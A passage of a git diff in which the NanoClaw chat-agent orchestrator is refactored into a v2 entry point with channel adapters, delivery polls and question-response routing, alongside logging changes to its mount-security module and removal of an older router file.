for pending question', { questionId, sessionId: pq.session_id }); - deletePendingQuestion(questionId); - return; - } - - // Write the response to the session DB as a system message - writeSessionMessage(session.agent_group_id, session.id, { - id: `qr-${questionId}-${Date.now()}`, - kind: 'system', - timestamp: new Date().toISOString(), - platformId: pq.platform_id, - channelType: pq.channel_type, - threadId: pq.thread_id, - content: JSON.stringify({ - type: 'question_response', - questionId, - selectedOption, - userId, - }), - }); - - deletePendingQuestion(questionId); - log.info('Question response routed', { questionId, selectedOption, sessionId: session.id }); - - // Wake the container so the MCP tool's poll picks up the response - await wakeContainer(session); -} - -/** Graceful shutdown. */ -async function shutdown(signal: string): Promise { - log.info('Shutdown signal received', { signal }); - stopDeliveryPolls(); - stopHostSweep(); - await teardownChannelAdapters(); - process.exit(0); -} - -process.on('SIGTERM', () => shutdown('SIGTERM')); -process.on('SIGINT', () => shutdown('SIGINT')); - -main().catch((err) => { - log.fatal('Startup failed', { err }); - process.exit(1); -}); diff --git a/src/index.ts b/src/index.ts index ded6b94..03bc093 100644 --- a/src/index.ts +++ b/src/index.ts @@ -1,647 +1,180 @@ -import fs from 'fs'; +/** + * NanoClaw v2 — main entry point. + * + * Thin orchestrator: init DB, run migrations, start channel adapters, + * start delivery polls, start sweep, handle shutdown. + */ import path from 'path'; -import { OneCLI } from '@onecli-sh/sdk'; +import { DATA_DIR } from './config.js'; +import { initDb } from './db/connection.js'; +import { runMigrations } from './db/migrations/index.js'; +import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; +import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; +import { startHostSweep, stopHostSweep } from './host-sweep.js'; +import { routeInbound } from './router.js'; +import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; +import { writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner.js'; +import { log } from './log.js'; -import { - ASSISTANT_NAME, - DEFAULT_TRIGGER, - getTriggerPattern, - GROUPS_DIR, - IDLE_TIMEOUT, - MAX_MESSAGES_PER_PROMPT, - ONECLI_URL, - POLL_INTERVAL, - TIMEZONE, -} from './config.js'; -import './channels/index.js'; -import { getChannelFactory, getRegisteredChannelNames } from './channels/registry.js'; -import { ContainerOutput, runContainerAgent, writeGroupsSnapshot, writeTasksSnapshot } from './container-runner.js'; -import { cleanupOrphans, ensureContainerRuntimeRunning } from './container-runtime.js'; -import { - getAllChats, - getAllRegisteredGroups, - getAllSessions, - deleteSession, - getAllTasks, - getLastBotMessageTimestamp, - getMessagesSince, - getNewMessages, - getRouterState, - initDatabase, - setRegisteredGroup, - setRouterState, - setSession, - storeChatMetadata, - storeMessage, -} from './db.js'; -import { GroupQueue } from './group-queue.js'; -import { resolveGroupFolderPath } from './group-folder.js'; -import { startIpcWatcher } from './ipc.js'; -import { findChannel, formatMessages, formatOutbound } from './router.js'; -import { restoreRemoteControl, startRemoteControl, stopRemoteControl } from './remote-control.js'; -import { isSenderAllowed, isTriggerAllowed, loadSenderAllowlist, shouldDropMessage } from './sender-allowlist.js'; -import { startSessionCleanup } from './session-cleanup.js'; -import { startSchedulerLoop } from './task-scheduler.js'; -import { Channel, NewMessage, RegisteredGroup } from './types.js'; -import { logger } from './logger.js'; +// Channel imports — each triggers self-registration +import './channels/discord.js'; -// Re-export for backwards compatibility during refactor -export { escapeXml, formatMessages } from './router.js'; - -let lastTimestamp = ''; -let sessions: Record = {}; -let registeredGroups: Record = {}; -let lastAgentTimestamp: Record = {}; -let messageLoopRunning = false; - -const channels: Channel[] = []; -const queue = new GroupQueue(); - -const onecli = new OneCLI({ url: ONECLI_URL }); - -function ensureOneCLIAgent(jid: string, group: RegisteredGroup): void { - if (group.isMain) return; - const identifier = group.folder.toLowerCase().replace(/_/g, '-'); - onecli.ensureAgent({ name: group.name, identifier }).then( - (res) => { - logger.info({ jid, identifier, created: res.created }, 'OneCLI agent ensured'); - }, - (err) => { - logger.debug({ jid, identifier, err: String(err) }, 'OneCLI agent ensure skipped'); - }, - ); -} - -function loadState(): void { - lastTimestamp = getRouterState('last_timestamp') || ''; - const agentTs = getRouterState('last_agent_timestamp'); - try { - lastAgentTimestamp = agentTs ? JSON.parse(agentTs) : {}; - } catch { - logger.warn('Corrupted last_agent_timestamp in DB, resetting'); - lastAgentTimestamp = {}; - } - sessions = getAllSessions(); - registeredGroups = getAllRegisteredGroups(); - logger.info({ groupCount: Object.keys(registeredGroups).length }, 'State loaded'); -} - -/** - * Return the message cursor for a group, recovering from the last bot reply - * if lastAgentTimestamp is missing (new group, corrupted state, restart). - */ -function getOrRecoverCursor(chatJid: string): string { - const existing = lastAgentTimestamp[chatJid]; - if (existing) return existing; - - const botTs = getLastBotMessageTimestamp(chatJid, ASSISTANT_NAME); - if (botTs) { - logger.info({ chatJid, recoveredFrom: botTs }, 'Recovered message cursor from last bot reply'); - lastAgentTimestamp[chatJid] = botTs; - saveState(); - return botTs; - } - return ''; -} - -function saveState(): void { - setRouterState('last_timestamp', lastTimestamp); - setRouterState('last_agent_timestamp', JSON.stringify(lastAgentTimestamp)); -} - -function registerGroup(jid: string, group: RegisteredGroup): void { - let groupDir: string; - try { - groupDir = resolveGroupFolderPath(group.folder); - } catch (err) { - logger.warn({ jid, folder: group.folder, err }, 'Rejecting group registration with invalid folder'); - return; - } - - registeredGroups[jid] = group; - setRegisteredGroup(jid, group); - - // Create group folder - fs.mkdirSync(path.join(groupDir, 'logs'), { recursive: true }); - - // Copy CLAUDE.md template into the new group folder so agents have - // identity and instructions from the first run. (Fixes #1391) - const groupMdFile = path.join(groupDir, 'CLAUDE.md'); - if (!fs.existsSync(groupMdFile)) { - const templateFile = path.join(GROUPS_DIR, group.isMain ? 'main' : 'global', 'CLAUDE.md'); - if (fs.existsSync(templateFile)) { - let content = fs.readFileSync(templateFile, 'utf-8'); - if (ASSISTANT_NAME !== 'Andy') { - content = content.replace(/^# Andy$/m, `# ${ASSISTANT_NAME}`); - content = content.replace(/You are Andy/g, `You are ${ASSISTANT_NAME}`); - } - fs.writeFileSync(groupMdFile, content); - logger.info({ folder: group.folder }, 'Created CLAUDE.md from template'); - } - } - - // Ensure a corresponding OneCLI agent exists (best-effort, non-blocking) - ensureOneCLIAgent(jid, group); - - logger.info({ jid, name: group.name, folder: group.folder }, 'Group registered'); -} - -/** - * Get available groups list for the agent. - * Returns groups ordered by most recent activity. - */ -export function getAvailableGroups(): import('./container-runner.js').AvailableGroup[] { - const chats = getAllChats(); - const registeredJids = new Set(Object.keys(registeredGroups)); - - return chats - .filter((c) => c.jid !== '__group_sync__' && c.is_group) - .map((c) => ({ - jid: c.jid, - name: c.name, - lastActivity: c.last_message_time, - isRegistered: registeredJids.has(c.jid), - })); -} - -/** @internal - exported for testing */ -export function _setRegisteredGroups(groups: Record): void { - registeredGroups = groups; -} - -/** - * Process all pending messages for a group. - * Called by the GroupQueue when it's this group's turn. - */ -async function processGroupMessages(chatJid: string): Promise { - const group = registeredGroups[chatJid]; - if (!group) return true; - - const channel = findChannel(channels, chatJid); - if (!channel) { - logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); - return true; - } - - const isMainGroup = group.isMain === true; - - const missedMessages = getMessagesSince( - chatJid, - getOrRecoverCursor(chatJid), - ASSISTANT_NAME, - MAX_MESSAGES_PER_PROMPT, - ); - - if (missedMessages.length === 0) return true; - - // For non-main groups, check if trigger is required and present - if (!isMainGroup && group.requiresTrigger !== false) { - const triggerPattern = getTriggerPattern(group.trigger); - const allowlistCfg = loadSenderAllowlist(); - const hasTrigger = missedMessages.some( - (m) => - triggerPattern.test(m.content.trim()) && (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), - ); - if (!hasTrigger) return true; - } - - const prompt = formatMessages(missedMessages, TIMEZONE); - - // Advance cursor so the piping path in startMessageLoop won't re-fetch - // these messages. Save the old cursor so we can roll back on error. - const previousCursor = lastAgentTimestamp[chatJid] || ''; - lastAgentTimestamp[chatJid] = missedMessages[missedMessages.length - 1].timestamp; - saveState(); - - logger.info({ group: group.name, messageCount: missedMessages.length }, 'Processing messages'); - - // Track idle timer for closing stdin when agent is idle - let idleTimer: ReturnType | null = null; - - const resetIdleTimer = () => { - if (idleTimer) clearTimeout(idleTimer); - idleTimer = setTimeout(() => { - logger.debug({ group: group.name }, 'Idle timeout, closing container stdin'); - queue.closeStdin(chatJid); - }, IDLE_TIMEOUT); - }; - - await channel.setTyping?.(chatJid, true); - let hadError = false; - let outputSentToUser = false; - - const output = await runAgent(group, prompt, chatJid, async (result) => { - // Streaming output callback — called for each agent result - if (result.result) { - const raw = typeof result.result === 'string' ? result.result : JSON.stringify(result.result); - // Strip ... blocks — agent uses these for internal reasoning - const text = raw.replace(/[\s\S]*?<\/internal>/g, '').trim(); - logger.info({ group: group.name }, `Agent output: ${raw.length} chars`); - if (text) { - await channel.sendMessage(chatJid, text); - outputSentToUser = true; - } - // Only reset idle timer on actual results, not session-update markers (result: null) - resetIdleTimer(); - } - - if (result.status === 'success') { - queue.notifyIdle(chatJid); - } - - if (result.status === 'error') { - hadError = true; - } - }); - - await channel.setTyping?.(chatJid, false); - if (idleTimer) clearTimeout(idleTimer); - - if (output === 'error' || hadError) { - // If we already sent output to the user, don't roll back the cursor — - // the user got their response and re-processing would send duplicates. - if (outputSentToUser) { - logger.warn( - { group: group.name }, - 'Agent error after output was sent, skipping cursor rollback to prevent duplicates', - ); - return true; - } - // Roll back cursor so retries can re-process these messages - lastAgentTimestamp[chatJid] = previousCursor; - saveState(); - logger.warn({ group: group.name }, 'Agent error, rolled back message cursor for retry'); - return false; - } - - return true; -} - -async function runAgent( - group: RegisteredGroup, - prompt: string, - chatJid: string, - onOutput?: (output: ContainerOutput) => Promise, -): Promise<'success' | 'error'> { - const isMain = group.isMain === true; - const sessionId = sessions[group.folder]; - - // Update tasks snapshot for container to read (filtered by group) - const tasks = getAllTasks(); - writeTasksSnapshot( - group.folder, - isMain, - tasks.map((t) => ({ - id: t.id, - groupFolder: t.group_folder, - prompt: t.prompt, - script: t.script || undefined, - schedule_type: t.schedule_type, - schedule_value: t.schedule_value, - status: t.status, - next_run: t.next_run, - })), - ); - - // Update available groups snapshot (main group only can see all groups) - const availableGroups = getAvailableGroups(); - writeGroupsSnapshot(group.folder, isMain, availableGroups, new Set(Object.keys(registeredGroups))); - - // Wrap onOutput to track session ID from streamed results - const wrappedOnOutput = onOutput - ? async (output: ContainerOutput) => { - if (output.newSessionId) { - sessions[group.folder] = output.newSessionId; - setSession(group.folder, output.newSessionId); - } - await onOutput(output); - } - : undefined; - - try { - const output = await runContainerAgent( - group, - { - prompt, - sessionId, - groupFolder: group.folder, - chatJid, - isMain, - assistantName: ASSISTANT_NAME, - }, - (proc, containerName) => queue.registerProcess(chatJid, proc, containerName, group.folder), - wrappedOnOutput, - ); - - if (output.newSessionId) { - sessions[group.folder] = output.newSessionId; - setSession(group.folder, output.newSessionId); - } - - if (output.status === 'error') { - // Detect stale/corrupt session — clear it so the next retry starts fresh. - // The session .jsonl can go missing after a crash mid-write, manual - // deletion, or disk-full. The existing backoff in group-queue.ts - // handles the retry; we just need to remove the broken session ID. - const isStaleSession = - sessionId && output.error && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); - - if (isStaleSession) { - logger.warn( - { group: group.name, staleSessionId: sessionId, error: output.error }, - 'Stale session detected — clearing for next retry', - ); - delete sessions[group.folder]; - deleteSession(group.folder); - } - - logger.error({ group: group.name, error: output.error }, 'Container agent error'); - return 'error'; - } - - return 'success'; - } catch (err) { - logger.error({ group: group.name, err }, 'Agent error'); - return 'error'; - } -} - -async function startMessageLoop(): Promise { - if (messageLoopRunning) { - logger.debug('Message loop already running, skipping duplicate start'); - return; - } - messageLoopRunning = true; - - logger.info(`NanoClaw running (default trigger: ${DEFAULT_TRIGGER})`); - - while (true) { - try { - const jids = Object.keys(registeredGroups); - const { messages, newTimestamp } = getNewMessages(jids, lastTimestamp, ASSISTANT_NAME); - - if (messages.length > 0) { - logger.info({ count: messages.length }, 'New messages'); - - // Advance the "seen" cursor for all messages immediately - lastTimestamp = newTimestamp; - saveState(); - - // Deduplicate by group - const messagesByGroup = new Map(); - for (const msg of messages) { - const existing = messagesByGroup.get(msg.chat_jid); - if (existing) { - existing.push(msg); - } else { - messagesByGroup.set(msg.chat_jid, [msg]); - } - } - - for (const [chatJid, groupMessages] of messagesByGroup) { - const group = registeredGroups[chatJid]; - if (!group) continue; - - const channel = findChannel(channels, chatJid); - if (!channel) { - logger.warn({ chatJid }, 'No channel owns JID, skipping messages'); - continue; - } - - const isMainGroup = group.isMain === true; - const needsTrigger = !isMainGroup && group.requiresTrigger !== false; - - // For non-main groups, only act on trigger messages. - // Non-trigger messages accumulate in DB and get pulled as - // context when a trigger eventually arrives. - if (needsTrigger) { - const triggerPattern = getTriggerPattern(group.trigger); - const allowlistCfg = loadSenderAllowlist(); - const hasTrigger = groupMessages.some( - (m) => - triggerPattern.test(m.content.trim()) && - (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), - ); - if (!hasTrigger) continue; - } - - // Pull all messages since lastAgentTimestamp so non-trigger - // context that accumulated between triggers is included. - const allPending = getMessagesSince( - chatJid, - getOrRecoverCursor(chatJid), - ASSISTANT_NAME, - MAX_MESSAGES_PER_PROMPT, - ); - const messagesToSend = allPending.length > 0 ? allPending : groupMessages; - const formatted = formatMessages(messagesToSend, TIMEZONE); - - if (queue.sendMessage(chatJid, formatted)) { - logger.debug({ chatJid, count: messagesToSend.length }, 'Piped messages to active container'); - lastAgentTimestamp[chatJid] = messagesToSend[messagesToSend.length - 1].timestamp; - saveState(); - // Show typing indicator while the container processes the piped message - channel - .setTyping?.(chatJid, true) - ?.catch((err) => logger.warn({ chatJid, err }, 'Failed to set typing indicator')); - } else { - // No active container — enqueue for a new one - queue.enqueueMessageCheck(chatJid); - } - } - } - } catch (err) { - logger.error({ err }, 'Error in message loop'); - } - await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL)); - } -} - -/** - * Startup recovery: check for unprocessed messages in registered groups. - * Handles crash between advancing lastTimestamp and processing messages. - */ -function recoverPendingMessages(): void { - for (const [chatJid, group] of Object.entries(registeredGroups)) { - const pending = getMessagesSince(chatJid, getOrRecoverCursor(chatJid), ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT); - if (pending.length > 0) { - logger.info({ group: group.name, pendingCount: pending.length }, 'Recovery: found unprocessed messages'); - queue.enqueueMessageCheck(chatJid); - } - } -} - -function ensureContainerSystemRunning(): void { - ensureContainerRuntimeRunning(); - cleanupOrphans(); -} +import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; +import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; async function main(): Promise { - ensureContainerSystemRunning(); - initDatabase(); - logger.info('Database initialized'); - loadState(); + log.info('NanoClaw v2 starting'); - // Ensure OneCLI agents exist for all registered groups. - // Recovers from missed creates (e.g. OneCLI was down at registration time). - for (const [jid, group] of Object.entries(registeredGroups)) { - ensureOneCLIAgent(jid, group); - } + // 1. Init central DB + const dbPath = path.join(DATA_DIR, 'v2.db'); + const db = initDb(dbPath); + runMigrations(db); + log.info('Central DB ready', { path: dbPath }); - restoreRemoteControl(); + // 2. Container runtime + ensureContainerRuntimeRunning(); + cleanupOrphans(); - // Graceful shutdown handlers - const shutdown = async (signal: string) => { - logger.info({ signal }, 'Shutdown signal received'); - await queue.shutdown(10000); - for (const ch of channels) await ch.disconnect(); - process.exit(0); - }; - process.on('SIGTERM', () => shutdown('SIGTERM')); - process.on('SIGINT', () => shutdown('SIGINT')); + // 3. Channel adapters + await initChannelAdapters((adapter: ChannelAdapter): ChannelSetup => { + const conversations = buildConversationConfigs(adapter.channelType); + return { + conversations, + onInbound(platformId, threadId, message) { + routeInbound({ + channelType: adapter.channelType, + platformId, + threadId, + message: { + id: message.id, + kind: message.kind, + content: JSON.stringify(message.content), + timestamp: message.timestamp, + }, + }).catch((err) => { + log.error('Failed to route inbound message', { channelType: adapter.channelType, err }); + }); + }, + onMetadata(platformId, name, isGroup) { + log.info('Channel metadata discovered', { + channelType: adapter.channelType, + platformId, + name, + isGroup, + }); + }, + onAction(questionId, selectedOption, userId) { + handleQuestionResponse(questionId, selectedOption, userId).catch((err) => { + log.error('Failed to handle question response', { questionId, err }); + }); + }, + }; + }); - // Handle /remote-control and /remote-control-end commands - async function handleRemoteControl(command: string, chatJid: string, msg: NewMessage): Promise { - const group = registeredGroups[chatJid]; - if (!group?.isMain) { - logger.warn({ chatJid, sender: msg.sender }, 'Remote control rejected: not main group'); - return; - } - - const channel = findChannel(channels, chatJid); - if (!channel) return; - - if (command === '/remote-control') { - const result = await startRemoteControl(msg.sender, chatJid, process.cwd()); - if (result.ok) { - await channel.sendMessage(chatJid, result.url); - } else { - await channel.sendMessage(chatJid, `Remote Control failed: ${result.error}`); - } - } else { - const result = stopRemoteControl(); - if (result.ok) { - await channel.sendMessage(chatJid, 'Remote Control session ended.'); - } else { - await channel.sendMessage(chatJid, result.error); - } - } - } - - // Channel callbacks (shared by all channels) - const channelOpts = { - onMessage: (chatJid: string, msg: NewMessage) => { - // Remote control commands — intercept before storage - const trimmed = msg.content.trim(); - if (trimmed === '/remote-control' || trimmed === '/remote-control-end') { - handleRemoteControl(trimmed, chatJid, msg).catch((err) => - logger.error({ err, chatJid }, 'Remote control command error'), - ); + // 4. Delivery adapter bridge — dispatches to channel adapters + setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content, files) { + const adapter = getChannelAdapter(channelType); + if (!adapter) { + log.warn('No adapter for channel type', { channelType }); return; } - - // Sender allowlist drop mode: discard messages from denied senders before storing - if (!msg.is_from_me && !msg.is_bot_message && registeredGroups[chatJid]) { - const cfg = loadSenderAllowlist(); - if (shouldDropMessage(chatJid, cfg) && !isSenderAllowed(chatJid, msg.sender, cfg)) { - if (cfg.logDenied) { - logger.debug({ chatJid, sender: msg.sender }, 'sender-allowlist: dropping message (drop mode)'); - } - return; - } - } - storeMessage(msg); + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, - onChatMetadata: (chatJid: string, timestamp: string, name?: string, channel?: string, isGroup?: boolean) => - storeChatMetadata(chatJid, timestamp, name, channel, isGroup), - registeredGroups: () => registeredGroups, - }; + async setTyping(channelType, platformId, threadId) { + const adapter = getChannelAdapter(channelType); + await adapter?.setTyping?.(platformId, threadId); + }, + }); - // Create and connect all registered channels. - // Each channel self-registers via the barrel import above. - // Factories return null when credentials are missing, so unconfigured channels are skipped. - for (const channelName of getRegisteredChannelNames()) { - const factory = getChannelFactory(channelName)!; - const channel = factory(channelOpts); - if (!channel) { - logger.warn( - { channel: channelName }, - 'Channel installed but credentials missing — skipping. Check .env or re-run the channel skill.', - ); - continue; + // 5. Start delivery polls + startActiveDeliveryPoll(); + startSweepDeliveryPoll(); + log.info('Delivery polls started'); + + // 6. Start host sweep + startHostSweep(); + log.info('Host sweep started'); + + log.info('NanoClaw v2 running'); +} + +/** Build ConversationConfig[] for a channel type from the central DB. */ +function buildConversationConfigs(channelType: string): ConversationConfig[] { + const groups = getMessagingGroupsByChannel(channelType); + const configs: ConversationConfig[] = []; + + for (const mg of groups) { + const agents = getMessagingGroupAgents(mg.id); + for (const agent of agents) { + const triggerRules = agent.trigger_rules ? JSON.parse(agent.trigger_rules) : null; + configs.push({ + platformId: mg.platform_id, + agentGroupId: agent.agent_group_id, + triggerPattern: triggerRules?.pattern, + requiresTrigger: triggerRules?.requiresTrigger ?? false, + sessionMode: agent.session_mode, + }); } - channels.push(channel); - await channel.connect(); - } - if (channels.length === 0) { - logger.fatal('No channels connected'); - process.exit(1); } - // Start subsystems (independently of connection handler) - startSchedulerLoop({ - registeredGroups: () => registeredGroups, - getSessions: () => sessions, - queue, - onProcess: (groupJid, proc, containerName, groupFolder) => - queue.registerProcess(groupJid, proc, containerName, groupFolder), - sendMessage: async (jid, rawText) => { - const channel = findChannel(channels, jid); - if (!channel) { - logger.warn({ jid }, 'No channel owns JID, cannot send message'); - return; - } - const text = formatOutbound(rawText); - if (text) await channel.sendMessage(jid, text); - }, - }); - startIpcWatcher({ - sendMessage: (jid, text) => { - const channel = findChannel(channels, jid); - if (!channel) throw new Error(`No channel for JID: ${jid}`); - return channel.sendMessage(jid, text); - }, - registeredGroups: () => registeredGroups, - registerGroup, - syncGroups: async (force: boolean) => { - await Promise.all(channels.filter((ch) => ch.syncGroups).map((ch) => ch.syncGroups!(force))); - }, - getAvailableGroups, - writeGroupsSnapshot: (gf, im, ag, rj) => writeGroupsSnapshot(gf, im, ag, rj), - onTasksChanged: () => { - const tasks = getAllTasks(); - const taskRows = tasks.map((t) => ({ - id: t.id, - groupFolder: t.group_folder, - prompt: t.prompt, - script: t.script || undefined, - schedule_type: t.schedule_type, - schedule_value: t.schedule_value, - status: t.status, - next_run: t.next_run, - })); - for (const group of Object.values(registeredGroups)) { - writeTasksSnapshot(group.folder, group.isMain === true, taskRows); - } - }, - }); - startSessionCleanup(); - queue.setProcessMessagesFn(processGroupMessages); - recoverPendingMessages(); - startMessageLoop().catch((err) => { - logger.fatal({ err }, 'Message loop crashed unexpectedly'); - process.exit(1); - }); + return configs; } -// Guard: only run when executed directly, not when imported by tests -const isDirectRun = - process.argv[1] && new URL(import.meta.url).pathname === new URL(`file://${process.argv[1]}`).pathname; +/** Handle a user's response to an ask_user_question card. */ +async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + const pq = getPendingQuestion(questionId); + if (!pq) { + log.warn('Pending question not found (may have expired)', { questionId }); + return; + } -if (isDirectRun) { - main().catch((err) => { - logger.error({ err }, 'Failed to start NanoClaw'); - process.exit(1); + const session = getSession(pq.session_id); + if (!session) { + log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id }); + deletePendingQuestion(questionId); + return; + } + + // Write the response to the session DB as a system message + writeSessionMessage(session.agent_group_id, session.id, { + id: `qr-${questionId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: pq.platform_id, + channelType: pq.channel_type, + threadId: pq.thread_id, + content: JSON.stringify({ + type: 'question_response', + questionId, + selectedOption, + userId, + }), }); + + deletePendingQuestion(questionId); + log.info('Question response routed', { questionId, selectedOption, sessionId: session.id }); + + // Wake the container so the MCP tool's poll picks up the response + await wakeContainer(session); } + +/** Graceful shutdown. */ +async function shutdown(signal: string): Promise { + log.info('Shutdown signal received', { signal }); + stopDeliveryPolls(); + stopHostSweep(); + await teardownChannelAdapters(); + process.exit(0); +} + +process.on('SIGTERM', () => shutdown('SIGTERM')); +process.on('SIGINT', () => shutdown('SIGINT')); + +main().catch((err) => { + log.fatal('Startup failed', { err }); + process.exit(1); +}); diff --git a/src/mount-security.ts b/src/mount-security.ts index c44620c..cea550a 100644 --- a/src/mount-security.ts +++ b/src/mount-security.ts @@ -10,8 +10,25 @@ import fs from 'fs'; import os from 'os'; import path from 'path'; import { MOUNT_ALLOWLIST_PATH } from './config.js'; -import { logger } from './logger.js'; -import { AdditionalMount, AllowedRoot, MountAllowlist } from './types.js'; +import { log } from './log.js'; + +export interface AdditionalMount { + hostPath: string; + containerPath?: string; + readonly?: boolean; +} + +export interface MountAllowlist { + allowedRoots: AllowedRoot[]; + blockedPatterns: string[]; + nonMainReadOnly: boolean; +} + +export interface AllowedRoot { + path: string; + allowReadWrite: boolean; + description?: string; +} // Cache the allowlist in memory - only reloads on process restart let cachedAllowlist: MountAllowlist | null = null; @@ -59,11 +76,7 @@ export function loadMountAllowlist(): MountAllowlist | null { if (!fs.existsSync(MOUNT_ALLOWLIST_PATH)) { // Do NOT cache this as an error — file may be created later without restart. // Only parse/structural errors are permanently cached. - logger.warn( - { path: MOUNT_ALLOWLIST_PATH }, - 'Mount allowlist not found - additional mounts will be BLOCKED. ' + - 'Create the file to enable additional mounts.', - ); + log.warn('Mount allowlist not found - additional mounts will be BLOCKED. Create the file to enable additional mounts.', { path: MOUNT_ALLOWLIST_PATH }); return null; } @@ -88,25 +101,12 @@ export function loadMountAllowlist(): MountAllowlist | null { allowlist.blockedPatterns = mergedBlockedPatterns; cachedAllowlist = allowlist; - logger.info( - { - path: MOUNT_ALLOWLIST_PATH, - allowedRoots: allowlist.allowedRoots.length, - blockedPatterns: allowlist.blockedPatterns.length, - }, - 'Mount allowlist loaded successfully', - ); + log.info('Mount allowlist loaded successfully', { path: MOUNT_ALLOWLIST_PATH, allowedRoots: allowlist.allowedRoots.length, blockedPatterns: allowlist.blockedPatterns.length }); return cachedAllowlist; } catch (err) { allowlistLoadError = err instanceof Error ? err.message : String(err); - logger.error( - { - path: MOUNT_ALLOWLIST_PATH, - error: allowlistLoadError, - }, - 'Failed to load mount allowlist - additional mounts will be BLOCKED', - ); + log.error('Failed to load mount allowlist - additional mounts will be BLOCKED', { path: MOUNT_ALLOWLIST_PATH, error: allowlistLoadError }); return null; } } @@ -283,22 +283,11 @@ export function validateMount(mount: AdditionalMount, isMain: boolean): MountVal if (!isMain && allowlist.nonMainReadOnly) { // Non-main groups forced to read-only effectiveReadonly = true; - logger.info( - { - mount: mount.hostPath, - }, - 'Mount forced to read-only for non-main group', - ); + log.info('Mount forced to read-only for non-main group', { mount: mount.hostPath }); } else if (!allowedRoot.allowReadWrite) { // Root doesn't allow read-write effectiveReadonly = true; - logger.info( - { - mount: mount.hostPath, - root: allowedRoot.path, - }, - 'Mount forced to read-only - root does not allow read-write', - ); + log.info('Mount forced to read-only - root does not allow read-write', { mount: mount.hostPath, root: allowedRoot.path }); } else { // Read-write allowed effectiveReadonly = false; @@ -344,26 +333,9 @@ export function validateAdditionalMounts( readonly: result.effectiveReadonly!, }); - logger.debug( - { - group: groupName, - hostPath: result.realHostPath, - containerPath: result.resolvedContainerPath, - readonly: result.effectiveReadonly, - reason: result.reason, - }, - 'Mount validated successfully', - ); + log.debug('Mount validated successfully', { group: groupName, hostPath: result.realHostPath, containerPath: result.resolvedContainerPath, readonly: result.effectiveReadonly, reason: result.reason }); } else { - logger.warn( - { - group: groupName, - requestedPath: mount.hostPath, - containerPath: mount.containerPath, - reason: result.reason, - }, - 'Additional mount REJECTED', - ); + log.warn('Additional mount REJECTED', { group: groupName, requestedPath: mount.hostPath, containerPath: mount.containerPath, reason: result.reason }); } } diff --git a/src/router-v2.ts b/src/router-v2.ts deleted file mode 100644 index 3859576..0000000 --- a/src/router-v2.ts +++ /dev/null @@ -1,111 +0,0 @@ -/** - * Inbound message routing for v2. - * - * Channel adapter event → resolve messaging group → resolve agent group - * → resolve/create session → write messages_in → wake container - */ -import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; -import { log } from './log.js'; -import { resolveSession, writeSessionMessage } from './session-manager.js'; -import { wakeContainer } from './container-runner-v2.js'; -import { getSession } from './db/sessions.js'; -import type { MessagingGroupAgent } from './types-v2.js'; - -function generateId(): string { - return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; -} - -export interface InboundEvent { - channelType: string; - platformId: string; - threadId: string | null; - message: { - id: string; - kind: 'chat' | 'chat-sdk'; - content: string; // JSON blob - timestamp: string; - }; -} - -/** - * Route an inbound message from a channel adapter to the correct session. - * Creates messaging group + session if they don't exist yet. - */ -export async function routeInbound(event: InboundEvent): Promise { - // 1. Resolve messaging group - let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); - - if (!mg) { - // Auto-create messaging group (adapter already decided to forward this) - const mgId = `mg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - mg = { - id: mgId, - channel_type: event.channelType, - platform_id: event.platformId, - name: null, - is_group: 0, - admin_user_id: null, - created_at: new Date().toISOString(), - }; - createMessagingGroup(mg); - log.info('Auto-created messaging group', { - id: mgId, - channelType: event.channelType, - platformId: event.platformId, - }); - } - - // 2. Resolve agent group via messaging_group_agents - const agents = getMessagingGroupAgents(mg.id); - if (agents.length === 0) { - log.warn('No agent groups configured for messaging group', { - messagingGroupId: mg.id, - platformId: event.platformId, - }); - return; - } - - // Pick the best matching agent (highest priority, trigger matching in future) - const match = pickAgent(agents, event); - if (!match) { - log.debug('No agent matched for message', { messagingGroupId: mg.id }); - return; - } - - // 3. Resolve or create session - const { session, created } = resolveSession(match.agent_group_id, mg.id, event.threadId, match.session_mode); - - // 4. Write message to session DB - writeSessionMessage(session.agent_group_id, session.id, { - id: event.message.id || generateId(), - kind: event.message.kind, - timestamp: event.message.timestamp, - platformId: event.platformId, - channelType: event.channelType, - threadId: event.threadId, - content: event.message.content, - }); - - log.info('Message routed', { - sessionId: session.id, - agentGroup: match.agent_group_id, - kind: event.message.kind, - created, - }); - - // 5. Wake container - const freshSession = getSession(session.id); - if (freshSession) { - await wakeContainer(freshSession); - } -} - -/** - * Pick the matching agent for an inbound event. - * Currently: highest priority agent. Future: trigger rule matching. - */ -function pickAgent(agents: MessagingGroupAgent[], _event: InboundEvent): MessagingGroupAgent | null { - // Agents are already ordered by priority DESC from the DB query - // TODO: apply trigger_rules matching (pattern, mentionOnly, etc.) - return agents[0] ?? null; -} diff --git a/src/router.ts b/src/router.ts index 4c7dd38..2bcce73 100644 --- a/src/router.ts +++ b/src/router.ts @@ -1,43 +1,111 @@ -import { Channel, NewMessage } from './types.js'; -import { formatLocalTime } from './timezone.js'; +/** + * Inbound message routing for v2. + * + * Channel adapter event → resolve messaging group → resolve agent group + * → resolve/create session → write messages_in → wake container + */ +import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { log } from './log.js'; +import { 